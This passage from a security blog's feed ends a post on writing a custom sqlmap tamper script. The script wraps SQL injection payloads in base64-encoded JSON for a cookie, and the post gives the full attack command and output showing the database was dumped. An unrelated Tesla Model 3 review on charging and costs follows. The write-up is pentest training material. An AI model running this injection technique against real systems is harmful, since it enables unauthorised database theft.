&lt;p&gt;Using a (single) Tamper script is easy, you can even &lt;a href=&quot;https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423&quot;&gt;chain multiple Tamper scripts&lt;/a&gt; together! Example usage is show below…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python sqlmap.py &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.136.131/sqlmap/mysql/get_int.php?id=1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; 3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course, there was no exact out-of-the-box script that would do everything I needed in this particular use-case, so I needed to develop my own from scratch or at least modify an existing script. To get me started, I used the &lt;em&gt;base64encode.py&lt;/em&gt; Tamper script as a launch point as I knew I needed to do &lt;em&gt;some&lt;/em&gt; base64 encoding. This script in it’s (original) entirety is displayed below…&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;LICENSE&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; for copying permission
&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lib.core.convert&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encodeBase64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lib.core.enums&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRIORITY&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;__priority__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRIORITY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LOW&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;dependencies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;tamper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kwargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
    Base64-encodes all characters in a given payload
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;
    &amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;tamper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; AND SLEEP(5)#&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;MScgQU5EIFNMRUVQKDUpIw==&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encodeBase64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, so this is a good start. Let’s recap what I need out of my final Tamper script in order to inject the properly encoded payload in the exact right location…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I need to inject into the &lt;em&gt;userchl2_info&lt;/em&gt; cookie value.&lt;/li&gt;
  &lt;li&gt;The payloads generated by &lt;em&gt;sqlmap&lt;/em&gt; must be wrapped in the JSON dict &lt;em&gt;{“last_book”:”[PAYLOAD]”,”userchl2”:”“}&lt;/em&gt; (which is the properly formatted value for the injectable cookie).&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;sqlmap&lt;/em&gt; payloads must be base64-encoded.&lt;/li&gt;
  &lt;li&gt;The entire cookie value must be URL-encoded.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;… so to do this, I changed the final &lt;em&gt;return&lt;/em&gt; statement in the original &lt;em&gt;base64encode.py&lt;/em&gt; Tamper script to the &lt;em&gt;return&lt;/em&gt; statement shown below…&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;quote_plus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;last_book&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encodeBase64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;9999&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;userchl2&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Quickly decomposing this one-liner as it relates to my previously stated requirements…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I can inject my (&lt;em&gt;tamper-transformed&lt;/em&gt;) payloads into the cookie as part of a &lt;em&gt;sqlmap&lt;/em&gt; command by setting the &lt;em&gt;--cookie&lt;/em&gt; parameter to ‘&lt;em&gt;--cookie=”userchl2_info=”‘&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;In the new &lt;em&gt;return&lt;/em&gt; statement, I have &lt;em&gt;{“last_book”:”’ + [PAYLOAD STUFF] + ‘”,”userchl2”:”“}&lt;/em&gt; which satisfies the JSON wrap.&lt;/li&gt;
  &lt;li&gt;Using &lt;em&gt;encodeBase64(“9999” + payload[1:],binary=False)&lt;/em&gt;, I am able to encode the inner-payload as base64.&lt;/li&gt;
  &lt;li&gt;Finally I use &lt;em&gt;urllib.parse.quote_plus(…)&lt;/em&gt; to URL-encode the cookie value in it’s totality.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Putting this all-together in my &lt;em&gt;sqlmap&lt;/em&gt; command…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[redacted].php?id=1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--cookie&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;userchl2_info=&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;userchl2_info&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--tamper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/usr/share/sqlmap/tamper/base64encode2.py&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--dbms&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;MySQL &lt;span class=&quot;nt&quot;&gt;--not-string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;expects parameter 1 to be resource&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--level&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;Remember I discovered the DB was MySQL earlier when I first triggered the SQL error.&lt;/em&gt;&lt;br /&gt;
&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;I also discovered the “--not-string” when I first triggered the original SQL error.&lt;/em&gt;&lt;br /&gt;
&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;I’m not sure why (some more digging is needed), but for this to work, sqlmap must be run with Level 3, --level=3.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Running this command I get a lot of output - most importantly I see…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[INFO] heuristic (basic) test shows that Cookie parameter ‘userchl2_info’ might be injectable (possible DBMS: ‘MySQL’) &lt;br /&gt;
Cookie parameter ‘userchl2_info’ is ‘Generic UNION query (NULL) - 1 to 20 columns’ injectable                                         &lt;br /&gt;
Cookie parameter ‘userchl2_info’ is vulnerable.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In other words, this injection vector was successful and I was indeed able to dump the database. The big takeaway here is that Tamper scripts are awesome and you can &lt;em&gt;easily&lt;/em&gt; create your own which can precisely target and ruthlessly fuzz potential injection vectors.&lt;/p&gt;

&lt;p&gt;I now graduate as a sql(map) Tamper-wiz!&lt;/p&gt;
</description>
        <pubDate>Tue, 27 Jul 2021 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/sqlmap-tamper-magic</link>
        <guid isPermaLink="true">https://shellsharks.com/sqlmap-tamper-magic</guid>
        
        <category>infosec</category>
        
        <category>appsec</category>
        
        <category>pentesting</category>
        
        <category>red</category>
        
        <category>kali</category>
        
        <category>training</category>
        
        <category>burp</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Shock &amp; Awe, a Tesla Revue</title>
        <shark:summary><div class="poem">
<center><i class="ph ph-lightning lg" style="color:yellow; margin: 0 auto;"></i><br /><br /></center>
With thunderous prose,<br />
I conduct this review.<br />
I'm amped to share,<br />
and transform your view. <br /><br />
The joule of my garage,<br />
it never stays static.<br />
Caught lightning in a bottle,<br />
did Elon so emphatic.<br /><br />
In a flash you will see,<br />
what I bring to light.<br />
My current thoughts of Tesla,<br />
so don't storm off, take flight.<br /><br />
My poetic energy fades,<br />
we must bolt to it.<br />
So watt are we waiting for,<br />
We've come full circuit.
</div>
</shark:summary>
        <description>&lt;div class=&quot;poem&quot;&gt;
&lt;center&gt;&lt;i class=&quot;ph ph-lightning lg&quot; style=&quot;color:yellow; margin: 0 auto;&quot;&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;
With thunderous prose,&lt;br /&gt;
I conduct this review.&lt;br /&gt;
I&apos;m amped to share,&lt;br /&gt;
and transform your view. &lt;br /&gt;&lt;br /&gt;
The joule of my garage,&lt;br /&gt;
it never stays static.&lt;br /&gt;
Caught lightning in a bottle,&lt;br /&gt;
did Elon so emphatic.&lt;br /&gt;&lt;br /&gt;
In a flash you will see,&lt;br /&gt;
what I bring to light.&lt;br /&gt;
My current thoughts of Tesla,&lt;br /&gt;
so don&apos;t storm off, take flight.&lt;br /&gt;&lt;br /&gt;
My poetic energy fades,&lt;br /&gt;
we must bolt to it.&lt;br /&gt;
So watt are we waiting for,&lt;br /&gt;
We&apos;ve come full circuit.
&lt;/div&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;div class=&quot;containbox&quot;&gt;&lt;b&gt;Update as of January 30, 2025:&lt;/b&gt; &lt;i&gt;Given the current state of things with Tesla, and more specifically, with its owner, I felt compelled to add a quick note here. I still love EVs, and I think... despite everything, that Teslas are \*still\* great cars. BUT! I wouldn&apos;t recommend you buy one, not anymore. I also want to emphatically state that what Elon has chosen to stand for, is anti- &lt;b&gt;everything&lt;/b&gt; I stand for.&lt;/i&gt;&lt;/div&gt;&lt;/center&gt;

&lt;p&gt;&lt;em&gt;Yes&lt;/em&gt;, that is a poem about a review about &lt;a href=&quot;https://www.tesla.com&quot;&gt;Tesla&lt;/a&gt;. &lt;em&gt;No&lt;/em&gt;, I’m not ashamed of this. As you may be able to tell, &lt;a href=&quot;https://shellsharks.com/about?about=tesla&quot;&gt;I’m a big fan of Tesla&lt;/a&gt;! I’ve been a Tesla EVangelist for years and have answered many a question during that time. And though there are &lt;a href=&quot;https://theicct.org/publications/ev-update-us-cities-aug2020&quot;&gt;far more EV’s&lt;/a&gt; (&lt;em&gt;especially Teslas&lt;/em&gt;) on the road now than there were 3 years ago when I took delivery of my Model 3, I still see a lot of the same questions, &lt;a href=&quot;https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt&quot;&gt;FUD&lt;/a&gt; and unquenched curiosity. This piece is designed to address these areas.&lt;/p&gt;

&lt;p&gt;More specifically though, this is a review of my (2018) &lt;a href=&quot;https://www.tesla.com/model3&quot;&gt;Model 3&lt;/a&gt;, which I&apos;ve newly renamed &quot;&lt;span style=&quot;color:yellow;&quot;&gt;Thundermage&lt;/span&gt;&quot; in honor of this review.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#common-questions--misconceptions&quot;&gt;Common Questions &amp;amp; Misconceptions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#positives&quot;&gt;Positives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#negatives&quot;&gt;Negatives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#other-neutral-stuff&quot;&gt;Other, Neutral Stuff&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;common-questions--misconceptions&quot;&gt;Common Questions &amp;amp; Misconceptions&lt;/h1&gt;

&lt;p&gt;In this first section, I will answer the most common questions I am asked about Tesla and EV’s in general. I’ll also address some common misconceptions. For other information, check out Tesla’s &lt;a href=&quot;https://www.tesla.com/support/new-owner-frequently-asked-questions&quot;&gt;new owner FAQ&lt;/a&gt;!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#how-do-i-charge-it&quot;&gt;How do I charge it?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-fast-does-it-charge&quot;&gt;How fast does it charge?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-much-does-it-cost-to-charge&quot;&gt;How much does it cost to charge?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-kind-of-range-does-it-have&quot;&gt;What kind of range does it have?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-do-i-get-into-or-out-of-the-car&quot;&gt;How do I get into or out of the car?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#will-i-get-stuck&quot;&gt;Will I get stuck?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#evs-arent-any-more-green-than-gas-cars&quot;&gt;EVs aren’t any more green than gas cars&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;how-do-i-charge-it&quot;&gt;How do I charge it?&lt;/h3&gt;

&lt;p&gt;Tesla provides a relatively &lt;a href=&quot;https://www.tesla.com/charging&quot;&gt;comprehensive guide&lt;/a&gt; to charging on their site. In that guide, they discuss &lt;a href=&quot;https://www.tesla.com/home-charging&quot;&gt;home charging&lt;/a&gt;, &lt;a href=&quot;https://www.tesla.com/destination-charging&quot;&gt;destination charging&lt;/a&gt; and &lt;a href=&quot;https://www.tesla.com/supercharger&quot;&gt;supercharging&lt;/a&gt;. The bottom line is, you have &lt;em&gt;a lot&lt;/em&gt; of options when it comes to charging. I’ll dive into these options below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;120v outlet&lt;/strong&gt; : &lt;em&gt;Yep&lt;/em&gt;! You can charge on a standard wall outlet, and many people go this route for their primary, every-day charging solution! &lt;a href=&quot;#how-fast-does-it-charge&quot;&gt;Charge times&lt;/a&gt; are a little slower but it &lt;em&gt;can&lt;/em&gt; get the job done, especially if you have all night to juice up. This is great when you think about it because outlets such as these are pretty ubiquitous. Anywhere where you can charge your phone, you can charge your car! At your grandma’s house? Plug it in! At an &lt;a href=&quot;https://www.airbnb.com&quot;&gt;Airbnb&lt;/a&gt;? &lt;em&gt;Plug it in&lt;/em&gt;! You can charge this thing anywhere.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In fact, all Teslas come with the &lt;a href=&quot;https://shop.tesla.com/product/gen-2-mobile-connector-bundle&quot;&gt;Mobile Connector Bundle&lt;/a&gt; which includes the 120v outlet adapter.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Tesla Wall Connector&lt;/strong&gt; : For home charging, Tesla’s (&lt;em&gt;and my&lt;/em&gt;) recommended method is the Tesla &lt;a href=&quot;https://shop.tesla.com/product/wall-connector?tesref=true&quot;&gt;Wall Connector&lt;/a&gt;. At $500 it’s a little pricey, but if you’ve purchased a $50,000 car that &lt;em&gt;relies on being charged&lt;/em&gt;, I think the investment is worth it. I also recommend getting the longer cable (18’) as it gives you a little additional versatility. For help installing the unit (and I strongly recommend getting professional help), Tesla has provided a &lt;a href=&quot;https://www.tesla.com/support/find-electrician&quot;&gt;resource to find licensed electricians&lt;/a&gt; that can take on the project.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;240v outlet&lt;/strong&gt; : If you want a little faster charging but don’t want to fully commit to &lt;a href=&quot;https://shop.tesla.com/product/wall-connector?tesref=true&quot;&gt;Tesla’s Wall Connector&lt;/a&gt;, the 240v outlet is likely the way to go. Typically seen in garages for use with a refrigerator or laundry machine, this is a good EV-agnostic way to get faster charging speeds. In other words, the 240v outlet is a good option if you don’t want to spend the extra $$ on the &lt;a href=&quot;https://shop.tesla.com/product/wall-connector?tesref=true&quot;&gt;Wall Connector&lt;/a&gt; or if you plan on having a non-Tesla EV.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Destination Charger&lt;/strong&gt; : So you won’t always be able to charge at home, so what are your options when out on the road? Well it turns out, there are a TON - and not just bumming small amounts of charge off of random 120v outlets either. Enter &lt;a href=&quot;https://www.tesla.com/destination-charging&quot;&gt;Destination Charging&lt;/a&gt; - from hotels to restaurants to resorts, destination charging is available at over 4500 sites (and counting). Destination charging is typically on par-with or close-to what you get out of a Tesla Wall Connector or standard 240 outlet. I’ve even found plenty of destination charging that is offered completely for free. What’s better than free fuel!?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For other destination charging, Tesla themselves recommend &lt;a href=&quot;https://www.plugshare.com/&quot;&gt;Plughsare.com&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;DC Fast Charger&lt;/strong&gt; : Though I haven’t used one of these myself (thanks to Tesla’s Supercharger network being so robust), Teslas are also capable of utilizing third-party DC fast charging networks such as &lt;a href=&quot;https://www.electrifyamerica.com&quot;&gt;Electrify America&lt;/a&gt; and &lt;a href=&quot;https://www.evgo.com&quot;&gt;EVgo&lt;/a&gt;. All you’ll need is the $400 &lt;a href=&quot;https://shop.tesla.com/product/chademo-adapter.&quot;&gt;CHAdeMO Adapter&lt;/a&gt; - &lt;em&gt;ouch!&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Tesla Supercharger&lt;/strong&gt; : Saving the best for last, there is Tesla’s incredible &lt;a href=&quot;https://www.tesla.com/supercharger&quot;&gt;Supercharger&lt;/a&gt; network. This network represents the largest collection of fast-chargers in the world and they are designed and made available exclusively to Teslas (&lt;a href=&quot;tesla opening up superchargers&quot;&gt;for now&lt;/a&gt;). This is &lt;em&gt;the&lt;/em&gt; primary means for charging while on road trips. It’s fast, convenient and with 25000+ stalls world-wide, available pretty much no matter where you are. Superchargers are typically located in parking lots within shopping areas so you can grab food, use the restroom or stay somewhat entertained while you charge up.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;how-fast-does-it-charge&quot;&gt;How fast does it charge?&lt;/h3&gt;

&lt;p&gt;Charging speeds are typically separated into three categories, &lt;strong&gt;L1-L3&lt;/strong&gt;. These categories are described below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;L1&lt;/strong&gt; : This typically means the standard 120v outlets. You can expect anywhere from 3-5 miles/hour on average. For a car that needs 300 miles range, this means a charge time of 60-100 hours to charge from zero to full. A little slow but will work in many situations where you only need to get 50 miles or so with an overnight charge.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;L2&lt;/strong&gt; : Level 2 charging includes 240v outlets, &lt;a href=&quot;https://www.tesla.com/support/home-charging-installation/wall-connector&quot;&gt;Wall Connectors&lt;/a&gt; and &lt;a href=&quot;https://www.tesla.com/destination-charging&quot;&gt;Destination Charging&lt;/a&gt;. L2 will typically net you around 25-45 miles/hour. A zero-to-full charge session would thus take you anywhere from 7-12 hours. Perfect for overnight charging. &lt;em&gt;I should mention though that the top-end of L2 charging (approx. 44 miles/hour) is obtained by using the Tesla &lt;a href=&quot;https://www.tesla.com/support/home-charging-installation/wall-connector&quot;&gt;Wall Connector&lt;/a&gt; with 48 amp output.&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;L3&lt;/strong&gt; : Finally, we have the top end charging, Level 3. For Teslas, this typically means &lt;a href=&quot;https://www.tesla.com/supercharger&quot;&gt;Superchargers&lt;/a&gt;, but would also include &lt;a href=&quot;https://www.chargepoint.com/blog/when-and-how-use-dc-fast-charging/&quot;&gt;DC Fast Chargers&lt;/a&gt;. To answer, “how fast does a Supercharger charge” though is a little trickier to answer. Current-gen, “&lt;a href=&quot;https://www.tesla.com/blog/introducing-v3-supercharging&quot;&gt;V3&lt;/a&gt;” Superchargers can charge at speeds of up to 1000 miles/hour. Wow! But those speeds are only obtained at certain Superchargers and when the vehicle’s state-of-charge (SoC) is low. When actively charging, as the battery is closer to max capacity, charging speeds dip. Rather than give you numbers here, I can say that anecdotally, while on my road trips, I stop every 2 hours or so to stretch my legs or use the restroom and in that time I plug the car in. After 10-15 minutes, I return to the car with more than enough juice to get to the next stop. This is the recommended approach for road-tripping in a Tesla. &lt;em&gt;Note&lt;/em&gt;: Having never used a “DC Fast Charger”, I really can’t speak to it’s charging speeds. Sorry!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;how-much-does-it-cost-to-charge&quot;&gt;How much does it cost to charge?&lt;/h3&gt;

&lt;p&gt;This depends where you charge, and the &lt;a href=&quot;https://www.electricchoice.com/electricity-prices-by-state/&quot;&gt;price of electricity&lt;/a&gt; during the time/region you are charging. But to give you an example, I pulled some numbers from my own home charging. Based on my last electric bill, I am on-average billed $.13/kWh. The Tesla Model 3’s battery pack is a 75 kWh pack (&lt;a href=&quot;https://electrek.co/2020/11/10/tesla-model-3-82-kwh-battery-pack-new-cells/&quot;&gt;newer packs have more kWh&lt;/a&gt;). This means it costs $9.75, or about $10, to charge the pack from zero to full. On that 75 kWh, my car gets about 300 miles. So let’s say 10$ will get you 300 miles range.&lt;/p&gt;

&lt;p&gt;Now let’s take a traditional &lt;a href=&quot;https://en.wikipedia.org/wiki/Internal_combustion_engine&quot;&gt;ICE&lt;/a&gt; car, like a &lt;a href=&quot;https://www.toyota.com/corolla/&quot;&gt;Toyota Corolla&lt;/a&gt;. With a 13.2 gallon tank and &lt;a href=&quot;https://gasprices.aaa.com&quot;&gt;gas prices&lt;/a&gt; hovering around $3/gallon, it costs about $40 for a full tank. With approximately 400 miles range, we can take 75% of both the range and that cost and come up with a value of $30 to go an equivalent 300 miles in the Corolla.&lt;/p&gt;

&lt;p&gt;What we end up with is a difference in price for home-charging the Tesla at &lt;strong&gt;1/3 the price of gas&lt;/strong&gt; as compared with the Corolla for the same amount of miles.&lt;/p&gt;

&lt;p&gt;Now many also ask about the price of &lt;a href=&quot;https://www.tesla.com/supercharger&quot;&gt;Supercharging&lt;/a&gt;. The cost of Supercharging is about 2x the cost of home charging, typically around $.26-$.28/kWh (&lt;em&gt;compared to the $.13/kWH I was getting at home&lt;/em&gt;). Doubling the cost of electricity still leaves you with a final cost of &lt;strong&gt;2/3 the amount of gas&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I will add that the numbers I used for home charging were based on &lt;em&gt;average&lt;/em&gt; cost of electricity during a one month span. It is important to note that charging your car in off-peak hours will result in cheaper costs per kWh. So if you are home-charging in the dead of night, it will actually be even &lt;em&gt;cheaper&lt;/em&gt; than calculated to juice up the car.&lt;/p&gt;

